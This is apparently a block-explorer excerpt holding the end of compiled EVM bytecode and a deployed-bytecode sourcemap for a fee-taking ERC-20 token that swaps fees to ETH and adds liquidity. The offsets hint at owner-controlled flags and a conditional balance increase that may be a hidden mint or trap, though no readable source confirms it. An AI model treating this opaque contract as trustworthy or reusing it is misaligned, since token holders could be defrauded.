8f9083611530565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611be39086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611c2b91600291611c259182908790611e5e565b90611ee0565b90506000611c398383611acd565b9050611c4481611f22565b6014544790600090611c6490611c5b906002611ee0565b60195490611acd565b90506000611c866002611c2584611c2560145488611e5e90919063ffffffff16565b90506000611ca383611c2560165487611e5e90919063ffffffff16565b90506000611cbb82611cb58786611acd565b90611acd565b90508015611cde57600454611cde9061010090046001600160a01b0316826120b5565b8115611cfa57600554611cfa906001600160a01b0316836120b5565b600083118015611d0a5750600087115b15611d1957611d1987846120f0565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611d476001546121c5565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611d9c57611d956064611c2560175486611e5e90919063ffffffff16565b9050611dda565b6001600160a01b0384166000908152600c602052604090205460ff1615611dda57611dd76064611c2560185486611e5e90919063ffffffff16565b90505b8015611e545730600090815260066020526040902054611dfa9082611530565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e4b9085815260200190565b60405180910390a35b611ac48382611acd565b600082600003611e7057506000610ba9565b6000611e7c8385612514565b905082611e89858361252b565b14610c135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c44565b6000610c1383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121cd565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611f5757611f576124a9565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd4919061248c565b81600181518110611fe757611fe76124a9565b6001600160a01b039283166020918202929092010152601e5461200d913091168461158f565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612046908590600090869030904290600401612591565b600060405180830381600087803b15801561206057600080fd5b505af1158015612074573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516120a99291906125cd565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156120eb573d6000803e3d6000fd5b505050565b601e546121089030906001600160a01b03168461158f565b601e546001600160a01b031663f305d7198230856000806121316000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612199573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121be91906125ee565b5050505050565b600081610ba9565b600081836121ee5760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac4848661252b565b600060208083528351808285015260005b818110156122285785810183015185820160400152820161220c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461225e57600080fd5b50565b6000806040838503121561227457600080fd5b823561227f81612249565b946020939093013593505050565b6000806000606084860312156122a257600080fd5b83356122ad81612249565b925060208401356122bd81612249565b929592945050506040919091013590565b803580151581146122de57600080fd5b919050565b6000602082840312156122f557600080fd5b610c13826122ce565b60006020828403121561231057600080fd5b8135610c1381612249565b60006020828403121561232d57600080fd5b5035919050565b60008060006060848603121561234957600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561237557600080fd5b833567ffffffffffffffff8082111561238d57600080fd5b818601915086601f8301126123a157600080fd5b8135818111156123b057600080fd5b8760208260051b85010111156123c557600080fd5b6020928301955093506123db91860190506122ce565b90509250925092565b600080604083850312156123f757600080fd5b823561240281612249565b9150602083013561241281612249565b809150509250929050565b600181811c9082168061243157607f821691505b60208210810361245157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561249e57600080fd5b8151610c1381612249565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016124e7576124e76124bf565b5060010190565b80820180821115610ba957610ba96124bf565b81810381811115610ba957610ba96124bf565b8082028115828204841417610ba957610ba96124bf565b60008261254857634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b838110156125865781516001600160a01b031687529582019590820190600101612561565b509495945050505050565b85815284602082015260a0604082015260006125b060a083018661254d565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006125e6604083018461254d565b949350505050565b60008060006060848603121561260357600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f407bc983d21cfede956c37b9566ba8126aae9b0a7a861a076eca41a9f3087d164736f6c63430008110033
Deployed Bytecode Sourcemap
4888:14989:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8772:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10065:161;;;;;;;;;;-1:-1:-1;10065:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10065:161:0;1023:187:1;5147:40:0;;;;;;;;;;-1:-1:-1;5147:40:0;;;;-1:-1:-1;;;;;5147:40:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;5147:40:0;1215:219:1;6489:41:0;;;;;;;;;;-1:-1:-1;6489:41:0;;;;-1:-1:-1;;;;;6489:41:0;;;9049:100;;;;;;;;;;-1:-1:-1;9129:12:0;;9049:100;;;1819:25:1;;;1807:2;1792:18;9049:100:0;1673:177:1;14803:313:0;;;;;;;;;;-1:-1:-1;14803:313:0;;;;;:::i;:::-;;:::i;12284:113::-;;;;;;;;;;-1:-1:-1;12284:113:0;;;;;:::i;:::-;;:::i;:::-;;5194:81;;;;;;;;;;;;;;;13461:128;;;;;;;;;;;;;:::i;13007:129::-;;;;;;;;;;-1:-1:-1;13007:129:0;;;;;:::i;:::-;;:::i;8958:83::-;;;;;;;;;;-1:-1:-1;9024:9:0;;8958:83;;9024:9;;;;3268:36:1;;3256:2;3241:18;8958:83:0;3126:184:1;12873:126:0;;;;;;;;;;-1:-1:-1;12873:126:0;;;;;:::i;:::-;;:::i;9434:218::-;;;;;;;;;;-1:-1:-1;9434:218:0;;;;;:::i;:::-;;:::i;5674:38::-;;;;;;;;;;-1:-1:-1;5674:38:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12741:124;;;;;;;;;;-1:-1:-1;12741:124:0;;;;;:::i;:::-;;:::i;5626:41::-;;;;;;;;;;-1:-1:-1;5626:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6604:40;;;;;;;;;;-1:-1:-1;6604:40:0;;;;-1:-1:-1;;;6604:40:0;;;;;;5974:34;;;;;;;;;;;;;;;;13735:731;;;;;;;;;;-1:-1:-1;13735:731:0;;;;;:::i;:::-;;:::i;10805:331::-;;;;;;;;;;-1:-1:-1;10805:331:0;;;;;:::i;:::-;;:::i;6015:34::-;;;;;;;;;;;;;;;;12405:218;;;;;;;;;;-1:-1:-1;12405:218:0;;;;;:::i;:::-;;:::i;9157:118::-;;;;;;;;;;-1:-1:-1;9157:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;9250:17:0;9223:7;9250:17;;;:8;:17;;;;;;;9157:118;5573:46;;;;;;;;;;-1:-1:-1;5573:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10579:218;;;;;;;;;;-1:-1:-1;10579:218:0;;;;;:::i;:::-;;:::i;6296:55::-;;;;;;;;;;;;;;;;6359:53;;;;;;;;;;;;;;;;6137:37;;;;;;;;;;;;;;;;5848:36;;;;;;;;;;;;;;;;5518:48;;;;;;;;;;-1:-1:-1;5518:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3595:79;;;;;;;;;;-1:-1:-1;3633:7:0;3660:6;-1:-1:-1;;;;;3660:6:0;3595:79;;11144:338;;;;;;;;;;-1:-1:-1;11144:338:0;;;;;:::i;:::-;;:::i;8863:87::-;;;;;;;;;;;;;:::i;3345:34::-;;;;;;;;;;;;;;;;5106;;;;;;;;;;-1:-1:-1;5106:34:0;;;;;;;-1:-1:-1;;;;;5106:34:0;;;9937:120;;;;;;;;;;-1:-1:-1;10026:23:0;;9937:120;;6181:44;;;;;;;;;;;;;;;;9660:269;;;;;;;;;;-1:-1:-1;9660:269:0;;;;;:::i;:::-;;:::i;13324:125::-;;;;;;;;;;-1:-1:-1;13324:125:0;;;;;:::i;:::-;;:::i;6056:29::-;;;;;;;;;;;;;;;;14628:167;;;;;;;;;;-1:-1:-1;14628:167:0;;;;;:::i;:::-;;:::i;11918:358::-;;;;;;;;;;-1:-1:-1;11918:358:0;;;;;:::i;:::-;;:::i;5805:30::-;;;;;;;;;;;;;;;;13144:172;;;;;;;;;;-1:-1:-1;13144:172:0;;;;;:::i;:::-;;:::i;5763:35::-;;;;;;;;;;;;;;;;6537:26;;;;;;;;;;-1:-1:-1;6537:26:0;;;;-1:-1:-1;;;;;6537:26:0;;;5891:36;;;;;;;;;;;;;;;;5459:52;;;;;;;;;;-1:-1:-1;5459:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5934:31;;;;;;;;;;;;;;;;14474:111;;;;;;;;;;-1:-1:-1;14474:111:0;;;;;:::i;:::-;;:::i;6651:45::-;;;;;;;;;;-1:-1:-1;6651:45:0;;;;-1:-1:-1;;;6651:45:0;;;;;;5721:35;;;;;;;;;;;;;;;;9283:143;;;;;;;;;;-1:-1:-1;9283:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9391:18:0;;;9364:7;9391:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9283:143;6094:36;;;;;;;;;;;;;;;;12631:102;;;;;;;;;;-1:-1:-1;12631:102:0;;;;;:::i;:::-;;:::i;5402:50::-;;;;;;;;;;-1:-1:-1;5402:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3809:157;;;;;;;;;;-1:-1:-1;3809:157:0;;;;;:::i;:::-;;:::i;6703:35::-;;;;;;;;;;-1:-1:-1;6703:35:0;;;;-1:-1:-1;;;6703:35:0;;;;;;8772:83;8809:13;8842:5;8835:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8772:83;:::o;10065:161::-;10140:4;10157:39;809:10;10180:7;10189:6;10157:8;:39::i;:::-;-1:-1:-1;10214:4:0;10065:161;;;;;:::o;14803:313::-;14901:4;14918:36;14928:6;14936:9;14947:6;14918:9;:36::i;:::-;-1:-1:-1;14965:121:0;14974:6;809:10;14996:89;15034:6;14996:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14996:19:0;;;;;;:11;:19;;;;;;;;809:10;14996:33;;;;;;;;;;:37;:89::i;:::-;14965:8;:121::i;:::-;-1:-1:-1;15104:4:0;14803:313;;;;;;:::o;12284:113::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;;;;;;;;;12362:16:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;12362:27:0::1;-1:-1:-1::0;;;;12362:27:0;;::::1;::::0;;;::::1;::::0;;12284:113::o;13461:128::-;13568:11;-1:-1:-1;;;;;9250:17:0;13514:7;9250:17;;;:8;:17;;;;;;13541:12;;:40;;:16;:40::i;:::-;13534:47;;13461:128;:::o;13007:129::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;13089:17:::1;:39:::0;;-1:-1:-1;;;;;;13089:39:0::1;-1:-1:-1::0;;;;;13089:39:0;;;::::1;::::0;;;::::1;::::0;;13007:129::o;12873:126::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;12958:11:::1;:33:::0;;-1:-1:-1;;;;;12958:33:0;;::::1;;;-1:-1:-1::0;;;;;;12958:33:0;;::::1;::::0;;;::::1;::::0;;12873:126::o;9434:218::-;809:10;9522:4;9571:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9571:34:0;;;;;;;;;;9522:4;;9539:83;;9562:7;;9571:50;;9610:10;9571:38;:50::i;12741:124::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;12823:23:::1;:34:::0;12741:124::o;13735:731::-;13815:22;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;13852:35:::1;13909:16;13852:74;;13975:16;-1:-1:-1::0;;;;;13975:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13957:53:0::1;;14019:4;14026:16;-1:-1:-1::0;;;;;14026:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13957:93;::::0;-1:-1:-1;;;;;;13957:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6140:15:1;;;13957:93:0::1;::::0;::::1;6122:34:1::0;6192:15;;6172:18;;;6165:43;6057:18;;13957:93:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13940:110:::0;-1:-1:-1;;;;;;14066:28:0;::::1;14063:200;;14155:16;-1:-1:-1::0;;;;;14155:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14137:74:0::1;;14220:4;14227:16;-1:-1:-1::0;;;;;14227:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14137:114;::::0;-1:-1:-1;;;;;;14137:114:0::1;::::0;;;;;;-1:-1:-1;;;;;6140:15:1;;;14137:114:0::1;::::0;::::1;6122:34:1::0;6192:15;;6172:18;;;6165:43;6057:18;;14137:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14120:131;;14063:200;14275:11;:28:::0;;-1:-1:-1;;;;;;14275:28:0;;::::1;-1:-1:-1::0;;;;;14275:28:0;;::::1;::::0;;::::1;::::0;;14314:15:::1;:34:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;14362:41:0;;;:19:::1;:41;::::0;;;;;;;:48;;-1:-1:-1;;14362:48:0;;::::1;-1:-1:-1::0;14362:48:0;;::::1;::::0;;;14438:11;;;;::::1;14421:30:::0;;:8:::1;:30:::0;;;;;:37;;;;::::1;::::0;;::::1;::::0;;14275:28;14289:14;-1:-1:-1;13735:731:0:o;10805:331::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;10926:16:::1;:34:::0;;;10971:16:::1;:34:::0;;;11016:11:::1;:24:::0;;;11073:55:::1;11030:10:::0;11073:38:::1;10945:15:::0;10990;11073:20:::1;:38::i;:::-;:42:::0;::::1;:55::i;:::-;11053:17;:75:::0;-1:-1:-1;;;10805:331:0:o;12405:218::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;12511:9:::1;12507:109;12526:17:::0;;::::1;12507:109;;;12598:6;12565:19;:30;12585:6;;12592:1;12585:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12565:30:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;12565:30:0;:39;;-1:-1:-1;;12565:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12545:3;::::1;::::0;::::1;:::i;:::-;;;;12507:109;;;;12405:218:::0;;;:::o;10579:::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;10683:9:::1;10679:111;10698:18:::0;;::::1;10679:111;;;10770:8;10738:17;:29;10756:7;;10764:1;10756:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10738:29:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10738:29:0;:40;;-1:-1:-1;;10738:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10718:3;::::1;::::0;::::1;:::i;:::-;;;;10679:111;;11144:338:::0;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;11265:17:::1;:35:::0;;;11311:17:::1;:35:::0;;;11357:12:::1;:25:::0;;;11416:58:::1;11372:10:::0;11416:40:::1;11285:15:::0;11331;11416:21:::1;:40::i;:58::-;11395:18;:79:::0;-1:-1:-1;;;11144:338:0:o;8863:87::-;8902:13;8935:7;8928:14;;;;;:::i;9660:269::-;9753:4;9770:129;809:10;9793:7;9802:96;9841:15;9802:96;;;;;;;;;;;;;;;;;809:10;9802:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9802:34:0;;;;;;;;;;;;:38;:96::i;13324:125::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;13405:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;13405:36:0::1;-1:-1:-1::0;;;;13405:36:0;;::::1;::::0;;;::::1;::::0;;13324:125::o;14628:167::-;14706:4;14723:42;809:10;14747:9;14758:6;14723:9;:42::i;11918:358::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;12059:15:::1;:35:::0;;;12105:15:::1;:35:::0;;;12151:10:::1;:25:::0;;;12216:52:::1;12164:12:::0;12216:36:::1;12077:17:::0;12123;12216:19:::1;:36::i;:52::-;12189:24;:79:::0;-1:-1:-1;;;11918:358:0:o;13144:172::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;13222:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;13222:32:0::1;-1:-1:-1::0;;;;13222:32:0;;::::1;;::::0;;13270:38:::1;::::0;::::1;::::0;::::1;::::0;13246:8;1188:14:1;1181:22;1163:41;;1151:2;1136:18;;1023:187;13270:38:0::1;;;;;;;;13144:172:::0;:::o;14474:111::-;14549:10;14537:23;;;;:8;:23;;;;;;;;14531:52;;;-1:-1:-1;;;;;14561:13:0;;;;;;:8;:13;;;;;:22;;;14531:52;14474:111;;:::o;12631:102::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;12703:10:::1;:22:::0;12631:102::o;3809:157::-;3722:6;;-1:-1:-1;;;;;3722:6:0;809:10;3722:22;3714:67;;;;-1:-1:-1;;;3714:67:0;;;;;;;:::i;:::-;3883:6:::1;:19:::0;;-1:-1:-1;;;;;;3883:19:0::1;-1:-1:-1::0;;;;;3883:19:0;::::1;::::0;;::::1;::::0;;3918:40:::1;::::0;3883:19;;;;3918:40:::1;::::0;3883:6;3918:40:::1;3809:157:::0;:::o;1660:181::-;1718:7;;1750:5;1754:1;1750;:5;:::i;:::-;1738:17;;1779:1;1774;:6;;1766:46;;;;-1:-1:-1;;;1766:46:0;;6955:2:1;1766:46:0;;;6937:21:1;6994:2;6974:18;;;6967:30;7033:29;7013:18;;;7006:57;7080:18;;1766:46:0;6753:351:1;10234:337:0;-1:-1:-1;;;;;10327:19:0;;10319:68;;;;-1:-1:-1;;;10319:68:0;;7311:2:1;10319:68:0;;;7293:21:1;7350:2;7330:18;;;7323:30;7389:34;7369:18;;;7362:62;-1:-1:-1;;;7440:18:1;;;7433:34;7484:19;;10319:68:0;7109:400:1;10319:68:0;-1:-1:-1;;;;;10406:21:0;;10398:68;;;;-1:-1:-1;;;10398:68:0;;7716:2:1;10398:68:0;;;7698:21:1;7755:2;7735:18;;;7728:30;7794:34;7774:18;;;7767:62;-1:-1:-1;;;7845:18:1;;;7838:32;7887:19;;10398:68:0;7514:398:1;10398:68:0;-1:-1:-1;;;;;10479:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10531:32;;1819:25:1;;;10531:32:0;;1792:18:1;10531:32:0;;;;;;;10234:337;;;:::o;15124:1829::-;15211:4;-1:-1:-1;;;;;15238:20:0;;15230:70;;;;-1:-1:-1;;;15230:70:0;;8119:2:1;15230:70:0;;;8101:21:1;8158:2;8138:18;;;8131:30;8197:34;8177:18;;;8170:62;-1:-1:-1;;;8248:18:1;;;8241:35;8293:19;;15230:70:0;7917:401:1;15230:70:0;-1:-1:-1;;;;;15319:23:0;;15311:71;;;;-1:-1:-1;;;15311:71:0;;8525:2:1;15311:71:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:33;8697:19;;15311:71:0;8323:399:1;15311:71:0;15406:16;;-1:-1:-1;;;15406:16:0;;;;15403:1543;;;15456:41;15471:6;15479:9;15490:6;15456:14;:41::i;:::-;15449:48;;;;15403:1543;-1:-1:-1;;;;;15553:23:0;;;;;;:15;:23;;;;;;;;15552:24;:55;;;;-1:-1:-1;;;;;;15581:26:0;;;;;;:15;:26;;;;;;;;15580:27;15552:55;15549:170;;;15646:12;;15636:6;:22;;15628:75;;;;-1:-1:-1;;;15628:75:0;;8929:2:1;15628:75:0;;;8911:21:1;8968:2;8948:18;;;8941:30;9007:34;8987:18;;;8980:62;-1:-1:-1;;;9058:18:1;;;9051:38;9106:19;;15628:75:0;8727:404:1;15628:75:0;15782:4;15733:28;9250:17;;;:8;:17;;;;;;15858:23;;15834:47;;;;;;;15900:44;;-1:-1:-1;15928:16:0;;-1:-1:-1;;;15928:16:0;;;;15927:17;15900:44;:65;;;;-1:-1:-1;;;;;;15949:16:0;;;;;;:8;:16;;;;;;;;15948:17;15900:65;:90;;;;-1:-1:-1;15969:21:0;;-1:-1:-1;;;15969:21:0;;;;15900:90;15896:297;;;16028:25;;-1:-1:-1;;;16028:25:0;;;;16025:97;;;16099:23;;16076:46;;16025:97;16141:36;16156:20;16141:14;:36::i;:::-;16196:10;16199:6;16196:2;:10::i;:::-;16193:96;;;-1:-1:-1;;;;;16245:16:0;;;;;;:8;:16;;;;;;:28;;16266:6;16245:20;:28::i;:::-;-1:-1:-1;;;;;16226:16:0;;;;;;:8;:16;;;;;:47;16193:96;-1:-1:-1;;;;;16312:25:0;;16289:19;16312:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;16341:28:0;;;;;;:17;:28;;;;;;;;16312:57;16311:148;;16425:34;16433:6;16441:9;16452:6;16425:7;:34::i;:::-;16311:148;;;16416:6;16311:148;16491:16;;16289:170;;-1:-1:-1;;;;16491:16:0;;;;:51;;;;-1:-1:-1;;;;;;16512:30:0;;;;;;:19;:30;;;;;;;;16511:31;16491:51;16488:133;;;16610:10;;16569:37;16594:11;16569:20;16579:9;-1:-1:-1;;;;;9250:17:0;9223:7;9250:17;;;:8;:17;;;;;;;9157:118;16569:37;:51;;16561:60;;;;;;-1:-1:-1;;;;;16685:15:0;;;;;;:5;:15;;;;;;;;16682:91;;;16741:22;;;;-1:-1:-1;;;;;16810:19:0;;;;;;:8;:19;;;;;;:36;;16834:11;16810:23;:36::i;:::-;-1:-1:-1;;;;;16788:19:0;;;;;;;:8;:19;;;;;;;:58;;;;16868:40;;;;;;;;;;16896:11;1819:25:1;;1807:2;1792:18;;1673:177;16868:40:0;;;;;;;;16930:4;16923:11;;;;;;;1995:192;2081:7;2117:12;2109:6;;;;2101:29;;;;-1:-1:-1;;;2101:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2141:9:0;2153:5;2157:1;2153;:5;:::i;:::-;2141:17;1995:192;-1:-1:-1;;;;;1995:192:0:o;1851:136::-;1909:7;1936:43;1940:1;1943;1936:43;;;;;;;;;;;;;;;;;:3;:43::i;16965:326::-;17094:52;;;;;;;;;;;-1:-1:-1;;;17094:52:0;;;;;;;;-1:-1:-1;;;;;17094:16:0;;17058:4;17094:16;;;:8;:16;;;;;;;:52;;17115:6;;17094:20;:52::i;:::-;-1:-1:-1;;;;;17075:16:0;;;;;;;:8;:16;;;;;;:71;;;;17179:19;;;;;;;:31;;17203:6;17179:23;:31::i;:::-;-1:-1:-1;;;;;17157:19:0;;;;;;;:8;:19;;;;;;;:53;;;;17226:35;;;;;;;;;;17254:6;1819:25:1;;1807:2;1792:18;;1673:177;17226:35:0;;;;;;;;-1:-1:-1;17279:4:0;16965:326;;;;;:::o;17299:1037::-;7161:16;:23;;-1:-1:-1;;;;7161:23:0;-1:-1:-1;;;7161:23:0;;;17436:24:::1;::::0;7161:16;17415:15;7161:23;;17403:65:::1;::::0;17466:1:::1;::::0;17403:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-;:32:::0;::::1;:58::i;:65::-;17381:87:::0;-1:-1:-1;17479:21:0::1;17503:24;:7:::0;17381:87;17503:11:::1;:24::i;:::-;17479:48;;17540:31;17557:13;17540:16;:31::i;:::-;17692:15;::::0;17607:21:::1;::::0;17582:22:::1;::::0;17663:52:::1;::::0;17692:22:::1;::::0;17712:1:::1;17692:19;:22::i;:::-;17663:24;::::0;;:28:::1;:52::i;:::-;17641:74;;17736:26;17765:59;17822:1;17765:52;17805:11;17765:35;17784:15;;17765:14;:18;;:35;;;;:::i;:59::-;17736:88;;17835:21;17859:47;17894:11;17859:30;17878:10;;17859:14;:18;;:30;;;;:::i;:47::-;17835:71:::0;-1:-1:-1;17917:26:0::1;17946:57;17835:71:::0;17946:38:::1;:14:::0;17965:18;17946::::1;:38::i;:::-;:42:::0;::::1;:57::i;:::-;17917:86:::0;-1:-1:-1;18019:22:0;;18016:93:::1;;18077:11;::::0;18056:53:::1;::::0;18077:11:::1;::::0;::::1;-1:-1:-1::0;;;;;18077:11:0::1;18090:18:::0;18056:20:::1;:53::i;:::-;18125:17:::0;;18122:89:::1;;18178:17;::::0;18157:54:::1;::::0;-1:-1:-1;;;;;18178:17:0::1;18197:13:::0;18157:20:::1;:54::i;:::-;18248:1;18227:18;:22;:41;;;;;18267:1;18253:11;:15;18227:41;18224:104;;;18283:45;18296:11;18309:18;18283:12;:45::i;:::-;-1:-1:-1::0;;7207:16:0;:24;;-1:-1:-1;;;;7207:24:0;;;-1:-1:-1;;;;;;17299:1037:0:o;11785:125::-;11837:4;11892:9;-1:-1:-1;;;;;11871:30:0;:17;11878:9;;11871:6;:17::i;:::-;-1:-1:-1;;;;;11871:30:0;;11869:33;;11785:125;-1:-1:-1;;11785:125:0:o;19264:604::-;-1:-1:-1;;;;;19425:16:0;;19350:7;19425:16;;;:8;:16;;;;;;19350:7;;19425:16;;19422:215;;;19470:38;19504:3;19470:29;19481:17;;19470:6;:10;;:29;;;;:::i;:38::-;19458:50;;19422:215;;;-1:-1:-1;;;;;19538:19:0;;;;;;:8;:19;;;;;;;;19535:102;;;19586:39;19621:3;19586:30;19597:18;;19586:6;:10;;:30;;;;:::i;:39::-;19574:51;;19535:102;19652:13;;19649:171;;19725:4;19708:23;;;;:8;:23;;;;;;:38;;19736:9;19708:27;:38::i;:::-;19699:4;19682:23;;;;:8;:23;;;;;;;:64;;;;19766:42;;-1:-1:-1;;;;;19766:42:0;;;;;;;19798:9;1819:25:1;;1807:2;1792:18;;1673:177;19766:42:0;;;;;;;;19649:171;19839:21;:6;19850:9;19839:10;:21::i;2193:248::-;2251:7;2275:1;2280;2275:6;2271:47;;-1:-1:-1;2305:1:0;2298:8;;2271:47;2328:9;2340:5;2344:1;2340;:5;:::i;:::-;2328:17;-1:-1:-1;2373:1:0;2364:5;2368:1;2328:17;2364:5;:::i;:::-;:10;2356:56;;;;-1:-1:-1;;;2356:56:0;;9866:2:1;2356:56:0;;;9848:21:1;9905